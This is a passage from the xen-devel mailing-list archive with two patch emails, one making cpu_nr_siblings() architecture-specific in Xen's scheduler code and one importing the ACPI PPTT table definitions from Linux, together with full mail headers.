 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 10:45:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=s9C0P3G8hgjm90Qs9I0cF0+JR3BnJeksvOj40q/e9b41lJ+2ZKULQOWzysy5T9x6Lj2sAmqNKDM8HtxIMy4lYOXFKRIU3qfsbqvDHKvyBiT6sEYufiyBivEY7AoiKSwIaLwlDLLiSO/kBBJ5CJ5pWoabh+Ltfx/1SQz9npZ1lZjRIOdeCJYrNsrGqDgXEUArMetIp2iSjf5a4L4vBCkWoPvSA/5y9pRn9QYO8WU+6aTDwa5wj7LPmLeVL91pFUYqns1REd+DISjq/V7IslBJ38OpBXlUXz6i9Ww5IGEwAx0k88akPuOUtRGbne2Uc3FiHN+pCqGl6iEE2Sq7tF646Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=aqRIT0ovWcpKUF4Ojak3jbwqwtoVYmAGHWnTq7kkF1A=;
 b=XCMEfh0T4ewItfSbeCOcDtee1BJ1hCQmV4hWg3xE54mARVtxroq1q7qezg++mjJfwFoS2PLgimiePLZ0sMV2k1hDip2vDI/S25UeSWiJ+ht6O0YOnxHfOCfhEksjT0JRu+855g6WzKTrOozLri8bMeSVYSF9fh2lBrN7zjpdbj2KyunL1kGDi7tRhm4vJ1HipH/UlOKt2ihEU9omu6W/cYvXWQxPWOph3Dwe2PG+U744hk1DhhwHVfAHY/OfGnugAJ2/rmRpUYMXvC1C7J8eDGLMegP3/iKH18CwqaFmuOMdymfBE8eZxaex4463s/vZCT7+tHNPLmTJmP+J9fcpRg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=aqRIT0ovWcpKUF4Ojak3jbwqwtoVYmAGHWnTq7kkF1A=;
 b=tw0RCRCFQUtvIAi8UXz2h9ML/gEFyIE6r/vxr+ioIA49uOsclVcIRtXIk6tvfx+aJJzjl2SqmTb5WQGOe6dsPV/YxCgNR9/lw2/m9kODbmry7pqs8TGVDhzYb1YdkFSzXt40DMENH3Xx4WBKqoh4HCKHXggAE+hJvVJ8Smt0v0k=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v6 3/5] xen/sched: Make cpu_nr_siblings() architecture-specific
Date: Tue, 14 Jul 2026 19:44:43 +0900
Message-ID: <20260714104445.919830-4-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260714104445.919830-1-taka@valinux.co.jp>
References: <20260714104445.919830-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP301CA0062.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:7d::15) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY6P286MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: 277a1cb6-ca33-419c-3e83-08dee1950fa4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|7416014|10070799003|18002099003|22082099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	ORyZ/x+pkgqvRPBHX/qWLeCIeJhpOkLDOPduWxlVpOBsJ2VGPD+xrGmeeQw+zTMT5ifB+8KkZxl2MZDaokbsYor4U9sPeXCp8KK/AUQipCuA3nrf+BRew/PSwPUd9OxZRpoDFFdy7Vf/k4sJqYzoBNj0Erx83MHTwOhbPWG8mCD+/3Xx1RA93vAzeAlvYIS9ArnooA/7sGW+4z7pLBqINmTf/nr6kQ+ft9RhrqVs+2Ojf1n09C7jBzXnI1JnY0IGWBUzZzLo5f7kyU4OuXbNU6bZLVqmu0KRARJtJZX3BRshWeNydEddCck+xXnnycpyjagJpEqwJM8JXhLN2Phf6NW2ZZGaVtIonVbc+qDBt//gryhNGMofioxcDJqmCkRT3nhF7ItIc+vFKBBEz53ACV2HRhRLoWbIZU1XoJ08kpY6ZKTZ9oZuulf2HnCwNp/lujmhA9P7z6TGL9YPHRGJSu7P72QqKTlRkxSbUfPuxYym07NRcpXF2tbQBIZoJHZ6Xqi3KnmZuIVFEQJ1h6rmxbgzroM7KpEl4QierEHyzqsJNo7st5dqG9Qk6dJzM/vavLUKjAbfsatHboKZNlwTeCQOpVSifOXiqildxBCvnMqsNMv41fcFC1PTgdAcQkzNc3kxqmygFCBVER3axXpNnPEiB6hfhWQQhMDZz6XXd+c=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(7416014)(10070799003)(18002099003)(22082099003)(56012099006);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?lUtWFxNF8oIUjJ7ypPa6clBg8vzPK9E6ilJlqjt0AGE/nL0eLVB4FZhP0Oa0?=
 =?us-ascii?Q?tQzC6GH7rsccqZrb9qbGv6RE017pHNnM1tqiVhne5AxYeteXzh7kY4WLRsrK?=
 =?us-ascii?Q?Rutlz+TMekUFAyjOQyqH0ijwgJ7Qu8uSQIaBL32e2qLutOzcKS7h6jszKZys?=
 =?us-ascii?Q?+zGUnyGZyd/8Aybl3slhvjFtKzIpWR+ds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3CFI1hKJdfGWxhkv3iaaK6UuZFp2Y?=
 =?us-ascii?Q?D/MoxGugcEB7x15I13kPNK99+iSB3pQOFPuglBHUFnGYKMHue6VZuJ583fj5?=
 =?us-ascii?Q?3NEcpjeLp6stZwsz3egQvrYn/wLLL2xy07oyzuDEHToq6yG8JJO1g7lLtk4n?=
 =?us-ascii?Q?JT8fijlbA5YzofvmIYH2MGSqTQez8pIm4LG51BqcicZfYJcbKnJXqyMj1gX8?=
 =?us-ascii?Q?X68IK5pwbzJnjuCf7rebha45SV6DY2AYRUW046vqb6eRGEQOPnTJ8WvavCDn?=
 =?us-ascii?Q?3sODVPylC0fNF18iDFLDROyv7U3FvN5UQMXHCrq32HmUw1yuo+JpCjB6YZUr?=
 =?us-ascii?Q?fzQsBHfDavE1ydkKhhxJe/C6PTcK5Dck1MqL003yB7pnfnJbh/tYVsltLRSu?=
 =?us-ascii?Q?uoKajQOvOfhKK4YRehLPbeRYKMQmEF+oVhpmZVeO4VgbkkUApD/wcLe+EAlF?=
 =?us-ascii?Q?z4WtQkPwURA7rGIQU04z3f60yGQxyfKEaUedW7yVsjiWbiClcJeMK+0iFkgN?=
 =?us-ascii?Q?6AfrXFIijTrznMX8+YI/MyHgAtAOBwdPf3IL1VTkOdWLPHmwySv+Nry/Xo5O?=
 =?us-ascii?Q?YTRYV7oztNOnUInoIpHHSkB4fI05c74KNIq41hFn/OZW4HiWqLpzJ3RXNSfm?=
 =?us-ascii?Q?SRlKGspw7wQcg2CuR94DU33H6RgwaEUIggL9LlU3KikMuE7Hk5EN+73ccjEI?=
 =?us-ascii?Q?nouI4RcOozMx9+jOyPUq9nZz/1Y4KbgvLB72BELzwPJsNYXn7bvys9nvHAiC?=
X-MS-Exchange-AntiSpam-MessageData-1: 5kRIWTpL4TU5nw==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 277a1cb6-ca33-419c-3e83-08dee1950fa4
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:45:46.2585
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 1I4fFc8juALGETbMm8onk7TUY9xvGRJdK1os6xESdoNTH+LWMxjoHRAL/I2wybJyhFTIYBwlzt/6yk8gn819qQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY6P286MB7347
X-purgate-ID: tlsNG-720697/1784025950-F1CAA2AC-AD3C4902/0/0
X-purgate-type: clean
X-purgate-size: 3400

Make cpu_nr_siblings() an architecture-specific function.
This patch provides the implementation for x86 and a common
version for Device Tree-based architectures.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
 xen/arch/x86/include/asm/processor.h |  1 +
 xen/common/sched/credit2.c           | 22 +++-------------------
 xen/include/xen/cpu-topology.h       |  5 +++++
 3 files changed, 9 insertions(+), 19 deletions(-)

diff --git a/xen/arch/x86/include/asm/processor.h b/xen/arch/x86/include/asm/processor.h
index 8ca6799a81..9758060129 100644
--- a/xen/arch/x86/include/asm/processor.h
+++ b/xen/arch/x86/include/asm/processor.h
@@ -106,6 +106,7 @@ extern void intel_init_arat(void);
 
 #define cpu_to_core(_cpu)   (cpu_data[_cpu].cpu_core_id)
 #define cpu_to_socket(_cpu) (cpu_data[_cpu].phys_proc_id)
+#define cpu_nr_siblings(_cpu) (cpu_data[_cpu].x86_num_siblings)
 
 unsigned int apicid_to_socket(unsigned int apicid);
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index a69327c808..6c645f0e21 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -29,22 +29,6 @@
 /* #define d2printk printk */
 #define d2printk(x...)
 
-/*
- * TODO: Abstract this properly, and figure out what Credit2 wants to do with
- *       the fact that x86_num_siblings doesn't even have the same meaning
- *       between x86 vendors.
- */
-static unsigned int cpu_nr_siblings(unsigned int cpu)
-{
-#if defined(CONFIG_GENERIC_CPU_TOPOLOGY)
-    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
-#elif defined(CONFIG_X86)
-    return cpu_data[cpu].x86_num_siblings;
-#else
-    return 1;
-#endif
-}
-
 /*
  * Credit2 tracing events ("only" 512 available!). Check
  * include/public/trace.h for more details.
@@ -882,9 +866,9 @@ cpu_runqueue_match(const struct csched2_runqueue_data *rqd, unsigned int cpu)
 
 /*
  * Additional checks, to avoid separating siblings in different runqueues.
- * This deals with both Intel's HTs and AMD's CUs. An arch that does not have
- * any similar concept will just have cpu_nr_siblings() always return 1, and
- * setup the cpu_sibling_mask-s acordingly (as currently does ARM), and things
+ * This deals with Intel's HTs, AMD's CUs and ARM's SMT. An arch that
+ * does not have similar concept will just have cpu_nr_siblings() always
+ * return 1, and setup the cpu_sibling_mask-s accordingly, and things
  * will just work as well.
  */
 static bool
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 82608b7789..8c653a1582 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -46,6 +46,7 @@ static inline void init_cpu_sibling_map(unsigned int cpu)
 
 #define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
 #define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+#define cpu_nr_siblings(cpu) (cpu_topology ? cpu_topology[cpu].num_siblings : 1)
 
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
@@ -64,6 +65,10 @@ static inline void init_cpu_sibling_map(unsigned int cpu)
 #define cpu_to_socket(cpu) (0)
 #endif
 
+#ifndef cpu_nr_siblings
+#define cpu_nr_siblings(cpu) (1)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:46:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:46:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362151.1614070 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaeT-0007AY-EL; Tue, 14 Jul 2026 10:46:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362151.1614070; Tue, 14 Jul 2026 10:46:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaeT-0007AQ-A8; Tue, 14 Jul 2026 10:46:13 +0000
Received: by outflank-mailman (input) for mailman id 1362151;
 Tue, 14 Jul 2026 10:46:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjaeS-000766-6D
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:46:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjaeR-009uid-J2
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:46:11 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561370-2eae-0a2a0a5409dd-0a2a4501e9c4-12
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:46:11 +0200
Received: from [52.101.125.121]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561370-5984-0a2a45010019-34657d792ce5-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:46:10 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY6P286MB7347.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:361::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 10:46:06 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 10:46:06 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=t8Ef3FD9pWRN0ERT84tbwVLPGPcp+pu0fDfFIJUl8Pvt4xiX5/P+R0p7ysV4yDoSvaC+eFSaKog3bQzXaHqaxuZ/kRJzm3NAGYPSzW7kL5u3TiWWBV3tdo/eby5XVaYZ+e7mkQP77+Jh3eo8Lqf+aJn6IsRD28w18Uq5nCmhnRsru46N9RW92b7HpNAmss79QY5WJe7xZp/NBdB5CLDn0Ud908BaOV8z3J3lTnG0pkEkE0AXsPJQSP9ApndmpNnqm/cO6VUj+OiLN7DWa5kCNyoRx8KDpXuy2q4lL+uyqf6Fx1JcTotePfxrQfTo7klUKwuRmzVGcC/7E2yEWmPPug==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Y1Oex6Jp2bEa6wsCxPupOWjWoJICYxBHDdDfwmwaE6g=;
 b=yTC2uQPs94XWNoLaIC44xaB66FGvU1hQcbe+OPiDOClzcpzSHAx3LKT7MhuGe0SYdgA5MnWq9Ofet0VtWMnHicR7f6mPUAAMb13z+43knT+C9hkymn7rOpCx9rRyw3iPqyGZdEIrKFAk5FEAZgAwESe5nbqwqWjCqrPvMQmA7Xgn73IkBovdZ2br2SHLX6avC/rAB31qTXam/V4bwyRvp99vYgSZF4yPEZ7bbFkhefPnjKLisajZhcsj0UohVoWpXmpvBo85YjX3aS7n3A/p5Lp/EXMFUxF35Bd6iprqln1FWb/yUpW6hnH4FIKVXYNuwYv+Zczwbl6DtFDq3oVN5Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Y1Oex6Jp2bEa6wsCxPupOWjWoJICYxBHDdDfwmwaE6g=;
 b=dtoOIwa3PkftxVGwpFPLWyyA+24ye0SAlKwV1yvM2lipFs68sG7/PVeIgilTgiFBheWJfawbB9FSfoFIl7UkgBkeK1RZOA5svERKLHvqizcBuC1Ghiwc+PfEjk6EwdTof7YJMj0BX5p+xyxL2nEg5i2Dv7/7EziPE3PQp3bWjEA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v6 4/5] xen/acpi: Import PPTT definitions from Linux
Date: Tue, 14 Jul 2026 19:44:44 +0900
Message-ID: <20260714104445.919830-5-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260714104445.919830-1-taka@valinux.co.jp>
References: <20260714104445.919830-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP286CA0321.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:3b7::14) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY6P286MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: 9ffacc93-b212-4e0b-533e-08dee1951bc0
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|10070799003|18002099003|22082099003|56012099006|3023799007|6133799003;
X-Microsoft-Antispam-Message-Info:
	0zwsD2pXdiR7YW1mAo7bqCVZtrKLTcADMSO1H2AYVpLozNsyIVJHbW8b8W4JSwuHmqxLX8lxfB+/8p1RlP587c3yw5F+a2bgx2o3TWcZ38WDvNwFdC1a+zbtiajN7ImalxwPawBI4dXHGCodqYrBLRezhlUd8YJyxvyYY/NK0GJt4ZMfvKYKC49eGo/0WQgV0YJ4DZB8C0tgix+LuHSaVTqzlSZ38Bcj+AY+mmjKMHrNqfeBWsHILoxMs4zmUcCfzcKX3FtI3TKyKFJ0MyO8a8cpHsWRxzimQ5fQWx3c/QKOL/jRcfNVqIgqpZ/KJnAJmfc0K2ADCcABcvcxVonBPKq2HDPg3bugdUUiOiz4JMaPoE86abyF4/Z1MhFDCMRiVygT8hctA+ZV8hh/o8ASVPLEb+iwyoMZVWiHRi1uFWVK3xcj5Bjtfrsd2Ha9eYlsy3kyf5JIJEhQN0x+etUuSge5LIFO32nR9ntackcDZvbcAC3x6xuNeEuknJZ4WQVhk0necRHLKCo0xAMy5c2VXbYXasScvZoR2utVut4OXPZtVcwnxjIyqjDKuxKY+X2dIiyoTtxAbzwpWRvawYO1YudH4mhyNPju/vNbFApnvvE06oVy1PVM8BOY+IJ/uuFHwIqlQtmb83wuBXoS+2DA0bIHfF64El31q062dkDVfvM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(10070799003)(18002099003)(22082099003)(56012099006)(3023799007)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?A662HdYSgjRZej7vh/5BIbK9aoAhcdeRu11j6E/KsIbT+IHq9ND3nav7rpD3?=
 =?us-ascii?Q?nCpyethdapQOwbTDwHKSq2jsBOEwF7r3jTWzTr7az2bl6JyUT2gj71F/HsGu?=
 =?us-ascii?Q?EhoosDA+HTiyVkiBEVrwvOmPT1YMmg0WZUjsiO06KoE/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KLJfUYPJ7Q1g+CAOo?=
 =?us-ascii?Q?b91HkjXbJIV5VYsXxkH3lErETIvXE0Zzz3xCeDR8ZZnAHPI/0PfiRBbfHG13?=
 =?us-ascii?Q?eS9r8dUcoSB5Jj7lXiAgs34nfk390ZMZ61Kmu1bUCi5NKCwLcmA9bwKMucYx?=
 =?us-ascii?Q?bRWVxvM/kasFFFXiQehz0Lc5c7ju2ajSOV6i0wtVm+OWdFfhZ93KhoRy2k34?=
 =?us-ascii?Q?auvjj0skdeje/ImoOIzAmddef8HQD1NBfGVcwCPKEwESQODz43xa0273KbbH?=
 =?us-ascii?Q?/8N+58z6DaENuN9GIn73WfnxYc3qz1VgwBN1GOmLhkTyiqXaJg1kiKTU21Wh?=
 =?us-ascii?Q?9F/pIPGVQa6XJMAsghJKupJ5A6cObFU9MLbpmF3sIdwIeqie8xy111S5R+Js?=
 =?us-ascii?Q?mr5bzq++tXzo6TkgogCCfwq1Xb8lgKYcIU2lPbco6IGE8EqYeULWD/ffo066?=
 =?us-ascii?Q?tvZDJjGDF1rjecimxAmzlKiGSX1JsijSi45M1nBpvinaQ0Bo4+5NKrQk/7IW?=
 =?us-ascii?Q?gOZ0z+L5j3v+gAH00Ki3BDhEtuhOr9QhIMVToCww/RJqJtTNZIGIPgJfDchm?=
 =?us-ascii?Q?OjvU0EQ2cQkbQ9NZA8j+3XMOSKeWZ2azpF7slvmOaZ+S+UJHsZDNPrsZf42W?=
 =?us-ascii?Q?8N6b+bUksPG22v65PAornRZaku7GzkhgCJ+/mwdNMfTOOQy5ghiTPxsnYEfs?=
 =?us-ascii?Q?82zKN8q3CtqS+YkxAkeqo77sTbojYw1lNtyuagRswMKadlHh1joVcmB/CXli?=
 =?us-ascii?Q?Qn9LdofOiNAexP9lQ2oiT7K1rX9/Msnbjxzo4EZylch2PSm1hQ7dBq1rbgcb?=
X-MS-Exchange-AntiSpam-MessageData-1: fwG1NlQQUUbllw==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 9ffacc93-b212-4e0b-533e-08dee1951bc0
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:46:06.5794
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: j7usOsSE5IwirrrBqMxw4WjGQAQshAV5JyIZZLd4xFdRfOrV7Rq0r5IbCLDBu7hOUerWFKwj5y5lrnr3Fr6KtA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY6P286MB7347
X-purgate-ID: tlsNG-d62444/1784025970-1D47D757-5AD2A1A5/0/0
X-purgate-type: clean
X-purgate-size: 5269

Import the Processor Properties Topology Table (PPTT) definitions
from the Linux kernel header (include/acpi/actbl2.h) into Xen.

Origin: git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git 091c4af3562d
Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v6:
   * Split out the import of ACPI PPTT definitions from the Linux kernel
     (including unused definitions) into a separate standalone patch.

 xen/include/acpi/actbl2.h | 113 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 113 insertions(+)

diff --git a/xen/include/acpi/actbl2.h b/xen/include/acpi/actbl2.h
index ee96e990d6..4398d98e00 100644
--- a/xen/include/acpi/actbl2.h
+++ b/xen/include/acpi/actbl2.h
@@ -72,6 +72,7 @@
 #define ACPI_SIG_IVRS           "IVRS"	/* I/O Virtualization Reporting Structure */
 #define ACPI_SIG_MCFG           "MCFG"	/* PCI Memory Mapped Configuration table */
 #define ACPI_SIG_MCHI           "MCHI"	/* Management Controller Host Interface table */
+#define ACPI_SIG_PPTT           "PPTT"	/* Processor Properties Topology Table */
 #define ACPI_SIG_SLIC           "SLIC"	/* Software Licensing Description Table */
 #define ACPI_SIG_SPCR           "SPCR"	/* Serial Port Console Redirection table */
 #define ACPI_SIG_SPMI           "SPMI"	/* Server Platform Management Interface table */
@@ -937,6 +938,118 @@ struct acpi_table_mchi {
 	u8 pci_function;
 };
 
+/*******************************************************************************
+ *
+ * PPTT - Processor Properties Topology Table (ACPI 6.2)
+ *        Version 1
+ *
+ ******************************************************************************/
+
+struct acpi_table_pptt {
+	struct acpi_table_header header;	/* Common ACPI table header */
+};
+
+/* Values for Type field above */
+
+enum acpi_pptt_type {
+	ACPI_PPTT_TYPE_PROCESSOR = 0,
+	ACPI_PPTT_TYPE_CACHE = 1,
+	ACPI_PPTT_TYPE_ID = 2,
+	ACPI_PPTT_TYPE_RESERVED = 3
+};
+
+/* 0: Processor Hierarchy Node Structure */
+
+struct acpi_pptt_processor {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 flags;
+	u32 parent;
+	u32 acpi_processor_id;
+	u32 number_of_priv_resources;
+};
+
+/* Flags */
+
+#define ACPI_PPTT_PHYSICAL_PACKAGE          (1)
+#define ACPI_PPTT_ACPI_PROCESSOR_ID_VALID   (1<<1)
+#define ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD  (1<<2)	/* ACPI 6.3 */
+#define ACPI_PPTT_ACPI_LEAF_NODE            (1<<3)	/* ACPI 6.3 */
